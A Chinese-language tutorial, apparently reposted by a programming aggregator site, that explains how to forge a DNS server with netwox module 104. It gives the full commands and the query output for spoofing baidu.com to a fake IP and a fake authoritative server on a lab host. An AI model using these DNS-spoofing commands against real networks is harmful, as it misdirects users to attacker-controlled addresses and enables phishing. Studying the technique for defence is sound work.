网站的服务器区域可以造假吗,如何伪造DNS服务器?
DNS 服務器是進行域名和與之相對應的 IP 地址轉換的服務器。正常情況下,用戶訪問域名網站,首先從 DNS 服務器上或權威名稱服務器上獲取域名對應的 IP 地址,然后根據該 IP 地址訪問網站。
為了能夠使用戶混淆,netwox 工具提供了編號為 104 的模塊。它可以偽造 DNS 服務器,手動設置假的域名與 IP 地址的對應關系。這樣,用戶會獲取一個域名對應的錯誤 IP 地址。
【實例】在主機 192.168.59.133 上偽造域名 baidu.com 的 DNS 服務器。
1) 偽造域名 baidu.com 的 DNS 服務器,偽造該域名對應的 IP 地址為 110.111.112.113,該域名的權威名稱服務器為 123.baidu.com,對應的 IP 地址為 56.67.78.89。
執行命令如下:
root@daxueba:~# netwox 104 -h baidu.com -H 110.111.112.113 -a 123.baidu.com -A 56.67.78.89
執行命令后將成功偽造域名 baidu.com 的 DNS 服務器,當有用戶向該服務器請求域名 baidu.com 對應的 IP 地址時,將會給出偽造的地址。
2) 這時,使用 netwox 工具中編號為 102 的模塊,請求域名 baidu.com 對應的IP地址,執行命令如下:
root@daxueba:~# netwox 102 -i 192.168.59.133 -n baidu.com -y a
執行命令后,將從偽造的 DNS 服務器(地址為 192.168.59.133)上獲取對應的 IP 地址、權威服務器以及對應的 IP 地址信息。
獲取到的信息如下:
DNS_question_________________________________________________. #DNS請求
| id=29841 rcode=OK opcode=QUERY |
| aa=0 tr=0 rd=0 ra=0 quest=1 answer=0 auth=0 add=0 |
| baidu.com. A |
|__________________________________________________________ |
DNS_answer________________________________________________. #DNS響應
| id=29841 rcode=OK opcode=QUERY |
| aa=1 tr=0 rd=0 ra=0 quest=1 answer=1 auth=1 add=1 |
| baidu.com. A |
| baidu.com. A 10 110.111.112.113 |
#域名對應的IP地址
| 123.baidu.com. NS 10 123.baidu.com. |
#權威服務器名稱
| 123.baidu.com. A 10 56.67.78.89 |
#權威服務器IP地址
|_____________________________________________________________ |
從輸出信息可以看到,獲取到的域名 baidu.com 對應的 IP 地址為偽造的地址 110.111.112.113,該域名的權威服務器也是偽造的服務器 123.baidu.com,對應的 IP 地址為 56.67.78.89。
總結
以上是編程之家為你收集整理的如何偽造DNS服務器?全部內容,希望文章能夠幫你解決如何偽造DNS服務器?所遇到的程序開發問題。
如果覺得編程之家網站內容還不錯,歡迎將編程之家網站推薦給程序員好友。
本圖文內容來源于網友網絡收集整理提供,作為學習參考使用,版權屬于原作者。
總結
以上是生活随笔為你收集整理的网站的服务器区域可以造假吗,如何伪造DNS服务器?的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 设置iis网页服务器cpu占比,为什么i
- 下一篇: set和vector